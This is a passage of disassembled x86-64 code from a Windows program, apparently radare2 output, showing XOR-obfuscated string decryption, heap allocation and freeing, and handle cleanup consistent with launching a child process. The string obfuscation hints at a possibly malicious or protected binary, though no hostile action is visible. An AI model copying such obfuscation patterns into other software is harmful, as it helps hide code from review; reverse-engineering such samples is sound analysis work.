movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp r13, qword [rsp + 0xc0]
jne 0x14007aa60
mov r8d, 1
lea rcx, [rsp + 0xc0]
mov rdx, r13
call fcn.140080a90
mov r14, qword [rsp + 0xc8]
jmp 0x14007aa60
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
cmp byte [rsp + 0x98], 0x12
jne 0x14007c6fd
mov sil, 1
jmp 0x14007abdc
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
movdqa xmm9, xmmword [rsp + 0xc0]
cmp byte [rsp + 0x98], 0x12
pshufd xmm0, xmm9, 0xee
jne 0x14007c704
movq rdi, xmm0
mov rbx, rdi
test r13, r13
sete sil
je 0x14007abc1
nop dword [rax + rax]
mov rcx, rbx
call fcn.14007d2a0
add rbx, 0x30
dec r13
jne 0x14007abb0
movq rax, xmm9
test rax, rax
je 0x14007abdc
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14007abfe
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, qword [rsp + 0x40]
call sub.kernel32.dll_HeapFree
test sil, sil
jne 0x14007b0b4
mov rsi, qword [rsp + 0x38]
add rsi, 0xffffffffffffffe8
add r12, 0x18
cmp rdi, 9
jne 0x14007a7e0
jmp 0x14007ac59
test rbx, rbx
je 0x14007ac2d
mov rcx, rbx
call sub.oleaut32.dll_SysFreeString
movq xmm0, rbp
movdqa xmm8, xmm7
punpcklqdq xmm8, xmm0
test r14, r14
mov rbp, qword [rsp + 0x48]
jne 0x14007a90a
jmp 0x14007a912
cmp rdi, 9
jne 0x14007b0dd
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xb8]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x1401e7e08]
lea rsi, [rsp + 0x200]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400c8ab0
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
lea rax, [0x14019eaa2]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xcd73059b58e32273
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007ca20
movabs rcx, 0xaf8061b1d0cc3870
xor rcx, qword [rax]
movabs rdx, 0x8cffbe02d5741d2a
xor rdx, qword [rax + 8]
movabs r8, 0xb2cccefd1cc7b03d
xor r8, qword [rax + 0x10]
movabs r9, 0xb39cf2b5497c15f4
xor r9, qword [rax + 0x18]
movabs r10, 0x645db6749482ce50
xor r10, qword [rax + 0x20]
mov r11d, 0x80f8b89d
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x68
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
mov qword [rsp + 0x210], r8
mov qword [rsp + 0x218], r9
mov qword [rsp + 0x220], r10
mov dword [rsp + 0x228], r11d
mov byte [rsp + 0x22c], al
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x200]
mov r9d, 0x2d
call fcn.140089230
cmp byte [rsp + 0xe0], 0x12
jne 0x14007c751
mov rbx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf0]
mov r12, qword [rsp + 0xf8]
test r12, r12
je 0x14007aeb8
mov qword [rsp + 0x40], rbx
lea rax, [r12 + r12*2]
shl rax, 4
add rax, rsi
mov qword [rsp + 0x30], rax
lea rdi, [0x1401ae8c0]
mov qword [rsp + 0x38], rsi
mov rax, rsi
mov r15, qword [rax]
mov rsi, qword [rax + 0x18]
add rax, 0x30
mov qword [rsp + 0x28], rax
movdqa xmm0, xmmword [r15]
pmovmskb ebp, xmm0
not ebp
lea r13, [r15 + 0x10]
nop word cs:[rax + rax]
sub rsi, 1
jb 0x14007ae85
test bp, bp
jne 0x14007ae3f
nop dword [rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb ebp, xmm0
add r15, 0xfffffffffffffc80
add r13, 0x10
cmp ebp, 0xffff
je 0x14007ae20
not ebp
tzcnt eax, ebp
neg rax
imul r14, rax, 0x38
add r14, r15
add r14, 0xffffffffffffffe0
je 0x14007ae85
mov rcx, r14
mov rdx, rdi
call fcn.14007c760
test al, al
jne 0x14007b06f
lea ebx, [rbp - 1]
and ebx, ebp
mov rcx, r14
lea rdx, [0x1401ae8e0]
call fcn.14007c760
mov ebp, ebx
test al, al
je 0x14007ae10
jmp 0x14007b06f
mov rax, qword [rsp + 0x28]
cmp rax, qword [rsp + 0x30]
jne 0x14007ade5
test r12, r12
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
je 0x14007aeb8
mov rdi, rsi
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec r12
jne 0x14007aea7
test rbx, rbx
je 0x14007aece
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x1401e7e08]
lea rsi, [rsp + 0x200]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400c8ab0
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0xc0], rax
lea rax, [0x1401a17db]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0xb867db8c2d99b85c
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007c930
movabs rcx, 0xf683a6ef03b442fa
xor rcx, qword [rax]
movabs rdx, 0xdab86a93c99effc0
xor rdx, qword [rax + 8]
movabs r8, 0x814d79cf2aa64da6
xor r8, qword [rax + 0x10]
mov r9d, 0xe0e55055
xor r9d, dword [rax + 0x18]
movzx eax, word [rax + 0x1c]
mov r10d, eax
xor r10b, 0x62
shr eax, 8
xor al, 0x71
movzx r10d, r10b
movzx eax, al
shl eax, 8
or eax, r10d
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x68], r9d
mov word [rsp + 0x6c], ax
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x50]
mov r9d, 0x1e
call fcn.140089230
cmp byte [rsp + 0x200], 0x12
jne 0x14007c751
mov r12, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x210]
mov rbp, qword [rsp + 0x218]
lea rax, [rbp*2]
add rax, rbp
shl rax, 4
add rax, rsi
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0x118], 0
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0xe0]
call fcn.140087c80
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x200], rax
jne 0x14007b169
mov ebx, 8
xor r14d, r14d
xor edi, edi
jmp 0x14007b2f5
mov rsi, qword [rsp + 0x38]
mov rdi, rsi
nop word [rax + rax]
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec r12
jne 0x14007b080
cmp qword [rsp + 0x40], 0
je 0x14007b0aa
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0x50]
jmp 0x14007b3bf
cmp rdi, 9
mov rax, qword [rsp + 0x38]
jne 0x14007b129
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xb8]
jmp 0x14007b3bf
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, rsi
mul rcx
mov rsi, rdx
shr rsi, 4
jmp 0x14007b10d
add r12, 0x18
dec rsi
je 0x14007ac59
cmp qword [r12 - 8], 0
je 0x14007b100
mov r8, qword [r12]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007b100
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
shr rsi, 4
jmp 0x14007b14d
add r12, 0x18
dec rsi
je 0x14007b0bf
cmp qword [r12 - 8], 0
je 0x14007b140
mov r8, qword [r12]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007b140
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007b194
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x60
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov rbx, rax
mov qword [rsp + 0x28], r12
mov rax, qword [rsp + 0x210]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [rbx], xmm0
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], 1
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x250], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x240], xmm0
movdqu xmm0, xmmword [rsp + 0xe0]
movdqu xmm1, xmmword [rsp + 0xf0]
movdqu xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x230], xmm3
movdqa xmmword [rsp + 0x220], xmm2
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x200], xmm0
mov edi, 1
mov r13d, 0x18
lea r14, [rsp + 0x50]
lea r15, [rsp + 0x200]
lea r12, [rsp + 0x98]
jmp 0x14007b2a5
mov rax, qword [rsp + 0x60]
mov qword [rbx + r13 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rbx + r13], xmm0
inc rdi
mov qword [rsp + 0xa8], rdi
add r13, 0x18
mov rcx, r14
mov rdx, r15
call fcn.140087c80
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x50], rax
je 0x14007b2e0
cmp rdi, qword [rsp + 0x98]
jne 0x14007b280
mov rcx, r12
mov rdx, rdi
call fcn.140080b50
mov rbx, qword [rsp + 0xa0]
jmp 0x14007b280
mov r14, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x28]
lea rax, [rdi*8]
lea rax, [rax + rax*2]
mov rcx, rbx
nop word cs:[rax + rax]
test rax, rax
je 0x14007c105
mov rdx, qword [rcx + 0x10]
cmp rdx, 0x40
je 0x14007b334
add rcx, 0x18
add rax, 0xffffffffffffffe8
cmp rdx, 0x80
jne 0x14007b310
test rdi, rdi
je 0x14007b363
lea r15, [rbx + 8]
jmp 0x14007b349
add r15, 0x18
dec rdi
je 0x14007b363
cmp qword [r15 - 8], 0
je 0x14007b340
mov r8, qword [r15]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007b340
test r14, r14
je 0x14007b379
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
test rbp, rbp
je 0x14007b3a1
mov rdi, rsi
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.14007d2a0
add rdi, 0x30
dec rbp
jne 0x14007b390
test r12, r12
je 0x14007b3b7
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [0x1401a0e58]
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x200]
movabs rax, 0x28816bc0eb641597
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007d030
movabs rcx, 0x5f04f4b00697dc38
xor rcx, qword [rax]
mov qword [rsp + 0x28], rcx
movabs rcx, 0xe5c3228cf3c01b59
xor rcx, qword [rax + 8]
mov qword [rsp + 0x30], rcx
movabs rcx, 0xb4d50c2cb3ceaae5
xor rcx, qword [rax + 0x10]
mov qword [rsp + 0x38], rcx
movabs r14, 0x5911444bf405604
xor r14, qword [rax + 0x18]
movabs r15, 0x95f16d30c4297ec8
xor r15, qword [rax + 0x20]
movabs r12, 0x8f397a84b2b1127b
xor r12, qword [rax + 0x28]
movabs r13, 0x6b965f75ad5cfcb0
xor r13, qword [rax + 0x30]
movabs rbp, 0xf3acd299af6d4669
xor rbp, qword [rax + 0x38]
movabs rsi, 0x5d21b0ef56070aa6
xor rsi, qword [rax + 0x40]
movabs rdi, 0xae86d63c0cb0cb51
xor rdi, qword [rax + 0x48]
mov ebx, 0xfc6cef9c
xor ebx, dword [rax + 0x50]
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007b4d0
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
mov r8d, 0x54
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14007c751
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r12
mov qword [rax + 0x30], r13
mov qword [rax + 0x38], rbp
mov qword [rax + 0x40], rsi
mov qword [rax + 0x48], rdi
mov qword [rsp + 0x30], rax
mov dword [rax + 0x50], ebx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov edi, 0xffffffff
xor r13d, r13d
xor r14d, r14d
cmp r8, 0x201
jb 0x14007b57f
jmp 0x14007b5a0
jae 0x14007b652
cmp r8, 0x201
jae 0x14007b5a0
mov esi, 0x200
lea r15, [rsp + 0x200]
mov r12, r8
jmp 0x14007b5cf
sub r8, r14
sub r13, r14
cmp r13, r8
jb 0x14007b631
cmp rbx, rdi
mov r14d, 0xffffffff
cmovb r14, rbx
mov qword [rsp + 0x60], r14
mov r13, rbx
mov rsi, r14
mov r15, qword [rsp + 0x28]
mov r12, r14
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov rax, qword [0x1401890b8]
mov ecx, r12d
mov rdx, r15
call rax
mov ebp, eax
test eax, eax
jne 0x14007b5f8
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x14007b78c
mov r8d, ebp
cmp r12, r8
jne 0x14007b570
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x14007c751
add r12, r12
cmp r12, rdi
cmovae r12, rdi
mov r8, r12
cmp r8, 0x201
jae 0x14007b5a0
jmp 0x14007b57f
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.1400c5870
mov rbx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
jmp 0x14007b5af
cmp rsi, r8
jb 0x14007c751
lea rcx, [rsp + 0xe0]
mov rdx, r15
call fcn.140065d50
mov r14, qword [rsp + 0x30]
test rbx, rbx
je 0x14007b688
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, qword [rsp + 0x28]
call sub.kernel32.dll_HeapFree
mov r15, qword [rsp + 0xe0]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14007c751
mov rbx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf0]
lea rax, [0x1401a5ce8]
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x200]
mov rcx, qword [rsp + 0x200]
movabs rdx, 0xb73dd13c8a26d57b
mov qword [rsp + 0x200], rdx
mov rdx, qword [rsp + 0x200]
call fcn.14007cad0
movabs rcx, 0x78fa7f072f3d043a
xor rcx, qword [rax]
movabs rdx, 0x4890c8d3d44a15ca
xor rdx, qword [rax + 8]
mov r8d, 0x60da82d6
xor r8d, dword [rax + 0x10]
movzx eax, byte [rax + 0x14]
xor al, 0x56
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov dword [rsp + 0xf0], r8d
mov byte [rsp + 0xf4], al
test rsi, rsi
je 0x14007b7c6
js 0x14007c751
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007b775
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapAlloc
mov rdi, rax
test rax, rax
jne 0x14007b7cb
jmp 0x14007c751
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xe8], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0xe0], rax
mov r14, qword [rsp + 0x30]
test rbx, rbx
jne 0x14007b675
jmp 0x14007b688
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x200], rsi
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x210], rsi
mov byte [rsp + 0x218], 0
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0xe0]
mov r8d, 0x15
call fcn.1400736b0
mov r13, qword [rsp + 0x200]
mov r12, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x210]
lea rdi, [rsp + 0x200]
mov r8d, 0x54
mov rcx, rdi
mov rdx, r14
call fcn.1400a6890
lea rcx, [rsp + 0xe0]
mov rdx, rdi
call fcn.1400b2710
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14007baa2
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14007bb41
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x200], 0
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x208], xmm6
mov dword [rsp + 0x218], 7
mov qword [rsp + 0x21c], 0
mov word [rsp + 0x224], 0
mov byte [rsp + 0x221], 1
mov byte [rsp + 0x224], 1
mov byte [rsp + 0x223], 1
lea rbx, [rsp + 0x200]
mov qword [rsp + 0x38], r12
mov rcx, r12
mov qword [rsp + 0x28], rsi
mov rdx, rsi
mov r8, rbx
call fcn.140069630
mov r14, rax
mov rdi, rdx
lea rax, [0x1401a33e5]
mov qword [rsp + 0x200], rax
mov rcx, qword [rsp + 0x200]
movabs rax, 0x3ae7f388f2a088b
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007cfb0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
test r14, r14
jne 0x14007c751
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0xc0], rdi
call fcn.140097310
mov r15, rax
mov r13, rdx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0x2000
movdqu xmmword [rsp + 0x60], xmm6
mov r12, qword [rdx + 0x48]
lea rbp, [rsp + 0x50]
lea rsi, [0x14018e7e4]
mov rcx, r15
mov rdx, rbp
xor r8d, r8d
jmp 0x14007b9c5
cmp byte [rdi + 0x10], 0x23
jne case.0x14007b9e0.2
mov r8, qword [rsp + 0x60]
mov rcx, r15
mov rdx, rbp
call r12
mov rdi, rax
test rax, rax
je 0x14007ba60
mov eax, edi
and eax, 3
movsxd rax, dword [rsi + rax*4]
add rax, rsi
jmp rax
cmp byte [rdi + 0xf], 0x23
jne case.0x14007b9e0.2
mov r14, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14007ba1c
cmp qword [rbx + 0x10], 0x11
jb 0x14007ba0b
mov r14, qword [r14 - 8]
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
dec rdi
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
jmp 0x14007b9ba
shr rdi, 0x20
cmp edi, 0x23
je 0x14007b9ba
jmp case.0x14007b9e0.2
mov r8, qword [rsp + 0x60]
cmp r8, qword [rsp + 0x58]
ja 0x14007c751
test r8, r8
je 0x14007c410
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.140088550
test rax, rax
jne case.0x14007b9e0.2
mov qword [rsp + 0x60], 0
jmp 0x14007b99d
mov rax, qword [rsp + 0xe8]
cmp rax, rcx
je 0x14007baca
test rax, rax
je 0x14007baca
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x100]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14007bafc
test rax, rax
je 0x14007bafc
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x158]
test rsi, rsi
je 0x14007bc84
mov rdi, qword [rsp + 0x160]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14007bc84
cmp qword [rdi + 0x10], 0x11
jb 0x14007bb30
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
jmp 0x14007bc7f
test rax, rax
je 0x14007bb5c
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x138], 0
je 0x14007bb7d
mov r8, qword [rsp + 0x140]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x160]
test rsi, rsi
je 0x14007bbc3
mov rdi, qword [rsp + 0x158]
add rdi, 8
jmp 0x14007bba9
add rdi, 0x20
dec rsi
je 0x14007bbc3
cmp qword [rdi - 8], 0
je 0x14007bba0
mov r8, qword [rdi]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007bba0
cmp qword [rsp + 0x150], 0
je 0x14007bbe4
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x1c0]
mov rdi, qword [rsp + 0x1c8]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14007bc1c
cmp qword [rdi + 0x10], 0x11
jb 0x14007bc0b
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x178]
test rsi, rsi
je 0x14007bc63
mov rdi, qword [rsp + 0x170]
add rdi, 8
jmp 0x14007bc49
add rdi, 0x58
dec rsi
je 0x14007bc63
cmp qword [rdi - 8], 0
je 0x14007bc40
mov r8, qword [rdi]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007bc40
cmp qword [rsp + 0x168], 0
je 0x14007bc84
mov r8, qword [rsp + 0x170]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
test r13, r13
je 0x14007bc9a
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
test r15, r15
je 0x14007bcb0
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
mov al, 1
movaps xmm6, xmmword [rsp + 0x2200]
movaps xmm7, xmmword [rsp + 0x2210]
movaps xmm8, xmmword [rsp + 0x2220]
movaps xmm9, xmmword [rsp + 0x2230]
movaps xmm10, xmmword [rsp + 0x2240]
movaps xmm11, xmmword [rsp + 0x2250]
add rsp, 0x2268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor esi, esi
lea rax, [0x1401a4930]
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x200]
movabs rax, 0xeeef32092d497b2d
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
call fcn.14007d150
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
movzx ecx, byte [rax + 0x1a]
movzx eax, word [rax + 0x18]
test sil, sil
mov rdi, qword [rsp + 0x28]
je 0x14007c751
mov rcx, r15
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14007bd96
cmp qword [r13 + 0x10], 0x11
jb 0x14007bd85
mov r15, qword [r15 - 8]
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
test rdi, rdi
je 0x14007bde8
mov rsi, qword [rsp + 0x38]
js 0x14007c751
movzx eax, byte [0x140228121]
mov rcx, qword [0x140228110]
test rcx, rcx
jne 0x14007bdd1
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x14007c751
mov rcx, rax
mov qword [0x140228110], rax
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapAlloc
mov r15, rax
test rax, rax
jne 0x14007bdf3
jmp 0x14007c751
mov r15d, 1
mov rsi, qword [rsp + 0x38]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], r15
mov qword [rsp + 0x210], rdi
mov byte [rsp + 0x218], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 8
mov qword [rsp + 0x230], 0
mov qword [rsp + 0x288], 0
mov qword [rsp + 0x298], 0
mov word [rsp + 0x2a0], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x238], rax
mov dword [rsp + 0x2c0], 0
mov word [rsp + 0x2c4], 0
mov dword [rsp + 0x258], 6
mov dword [rsp + 0x268], 6
mov dword [rsp + 0x278], 6
mov qword [rsp + 0x2a8], 0
mov qword [rsp + 0x2b8], 0
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x200]
call fcn.14006e0e0
lea rax, [0x14019fdda]
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x98]
movabs rax, 0x5999bc02524489d7
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x98]
call fcn.14007cc90
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
movzx eax, byte [rax + 0x24]
mov rbp, qword [rsp + 0x50]
cmp rbp, 2
je 0x14007c751
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
call sub.kernel32.dll_CloseHandle
mov rcx, r13
call sub.kernel32.dll_CloseHandle
test rbp, rbp
je 0x14007bf7f
mov rcx, r12
call sub.kernel32.dll_CloseHandle
test rbx, rbx
mov r13, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0x28]
je 0x14007bf99
mov rcx, r14
call sub.kernel32.dll_CloseHandle
test rsi, rsi
mov r12, qword [rsp + 0x38]
je 0x14007bfab
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
test rbx, rbx
mov r14, qword [rsp + 0x30]
je 0x14007c013
mov rcx, qword [0x140228110]
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x230]
test rsi, rsi
je 0x14007c013
mov rdi, qword [rsp + 0x228]
add rdi, 0x10
jmp 0x14007bff9
add rdi, 0x28
dec rsi
je 0x14007c013
cmp qword [rdi - 8], 0
je 0x14007bff0
mov r8, qword [rdi]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14007bff0
lea rsi, [rsp + 0x288]
cmp qword [rsp + 0x220], 0
je 0x14007c03c
mov r8, qword [rsp + 0x228]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, rsi
call fcn.140088eb0
mov rax, qword [rsp + 0x238]
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov rbx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
je 0x14007c080
test rax, rax
je 0x14007c080
mov r8, qword [rsp + 0x240]
mov rcx, qword [0x140228110]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov eax, dword [rsp + 0x258]
cmp eax, 4
jb 0x14007c09e
cmp eax, 6
je 0x14007c09e
mov rcx, qword [rsp + 0x260]
call sub.kernel32.dll_CloseHandle
mov eax, dword [rsp + 0x268]
cmp eax, 4
jb 0x14007c0bc
cmp eax, 6
je 0x14007c0bc
mov rcx, qword [rsp + 0x270]
call sub.kernel32.dll_CloseHandle
lea rsi, [rsp + 0x2a8]
mov eax, dword [rsp + 0x278]
cmp eax, 4
jb 0x14007c0e2
cmp eax, 6
je 0x14007c0e2
mov rcx, qword [rsp + 0x280]
call sub.kernel32.dll_CloseHandle
mov rcx, rsi
call fcn.140088b70
mov rcx, qword [rsp + 0xc0]
call sub.kernel32.dll_CloseHandle
test r13, r13
jne 0x14007bc89
jmp 0x14007bc9a
test rdi, rdi
je 0x14007c133
